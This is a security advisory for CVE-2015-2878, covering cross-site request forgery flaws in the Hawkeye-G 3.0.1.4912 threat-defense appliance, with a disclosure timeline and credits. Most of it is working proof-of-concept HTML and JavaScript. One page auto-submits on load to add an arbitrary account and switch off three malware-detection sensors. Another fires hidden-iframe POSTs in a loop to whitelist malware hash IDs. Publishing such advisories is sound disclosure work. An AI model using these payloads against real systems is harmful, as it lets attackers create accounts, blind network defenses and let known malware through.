Hawkeye-G 3.0.1.4912 Cross Site Request Forgery

2015.07.26
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[+] Credits: John Page ( hyp3rlinx ) [+] Domains: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0724.txt Vulnerability Type: =================== CSRF CVE Reference: ============== CVE-2015-2878 Vendor: =================== www.hexiscyber.com Product: ===================================================================== Hawkeye-G v3.0.1.4912 Hawkeye G is an active defense disruptive technology that detects, investigates, remediates and removes cyber threats within the network. Advisory Information: ==================================================== Multiple CSRF(s) Vulnerabilities: Vulnerability Details: ===================== 1- CSRF Add arbitrary accounts to system ------------------------------------ vulnerable URL: https://localhost:8443/interface/rest/accounts/json vulnerable POST parameter: 'name' 2- CSRF modification of network sensor settings --------------------------------------------------------------------- a) Turn off 'Url matching' Sensor b) Turn off 'DNS Inject' Sensor c) Turn off 'IP Redirect' Sensor vulnerable URL: https://localhost:8443/interface/rest/dpi/setEnabled/1 vulnerable POST parameters: 'url_match' 'dns_inject' 'ip_redirect' 3- CSRF whitelisting of malware MD5 hash IDs ------------------------------------------------------ vulnerable URL: https://localhost:8443/interface/rest/md5-threats/whitelist vulnerable POST parameter 'id' CSRF Exploit code(s): ==================== <!DOCTYPE> <html> <script> /* Execute consecutive CSRF exploits */ function ghostofsin(){ var doc=document; var e1=doc.getElementById('exploit_1') e1.submit() var e2=doc.getElementById('exploit_2') e2.submit() var e3=doc.getElementById('exploit_3') e3.submit() var e4=doc.getElementById('exploit_4') e4.submit() } </script> <body onLoad="ghostofsin()"> <!-- Add arbitrary accounts --> <form id="exploit_1" action=" https://localhost:8443/interface/rest/accounts/json" method="post"> <input type="text" name="human" value="true" /> <input type="text" name="name" value="inverted_crosses" /> <input type="text" name="domainId" value=""/> <input type="text" name="domain_id" value="" /> <input type="text" name="roving" value="false" /> </form> <!-- shutdown the 'Url Matching' Sensor that is responsible for detecting known malware domains --> <form id="exploit_2" action=" https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post"> <input type="text" name="level" value="1" /> <input type="text" name="enable" value="false" /> <input type="text" name="attribute" value="url_match"/> </form> <!-- set the DNS Inject Network Sensor to off --> <form id="exploit_3" action=" https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post"> <input type="text" name="level" value="1" /> <input type="text" name="enable" value="false" /> <input type="text" name="attribute" value="dns_inject"/> </form> <!-- set the IP Redirect Network Sensor to off --> <form id="exploit_4" action=" https://localhost:8443/interface/rest/dpi/setEnabled/1" method="post"> <input type="text" name="level" value="1" /> <input type="text" name="enable" value="false" /> <input type="text" name="attribute" value="ip_redirect"/> </form> </body> </html> Whitelist MD5 malware IDs CSRF: ------------------------------- In final CSRF POC to try an white list malware MD5 IDs will be a bit more complex, we need to submit form many times hidden in background using iframe so we stay on same page. Seems all MD5 ID's end in 0001 and are 8 bytes in length, we just need a loop an create some numbers 8 bytes long and dynamically assign the 'id' value of the field and execute multiple POST requests in background, it will be hit or miss unless you know ahead of time the MD5 ID in the database your targeting. e.g. Malware MD5 database ID 28240001 So Here we go!... <!-- whitelist MD5 malware IDs --> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>CSRF POC hyp3rlinx</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> </head> <body> <form id="hell" action=" https://localhost:8443/interface/rest/md5-threats/whitelist" target="demonica" method="post"> <input type="hidden" name="id" id="id"><br> </form> <IFRAME style="display:none" name="demonica"></IFRAME> <script> var doc=document var x=1000 exorcism() function exorcism(){ x++ String(x) x+="0001" var f=doc.getElementById('hell') var e=doc.getElementById('id') e.value=x x=x.substr(0,4) f.submit() } setInterval("exorcism()",100) </script> </body> </html> Disclosure Timeline: ========================================================= Vendor Notification: June 30, 2015 July 24, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ========================================================== Request Method(s): [+] POST Vulnerable Product: [+] Hawkeye-G v3.0.1.4912 Vulnerable Parameter(s): [+] name, enable, id Affected Area(s): [+] Network Threat Appliance, Local Domain ============================================================================ [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx)

References:

http://hyp3rlinx.altervista.org/advisories/AS-HAWKEYEG0724.txt


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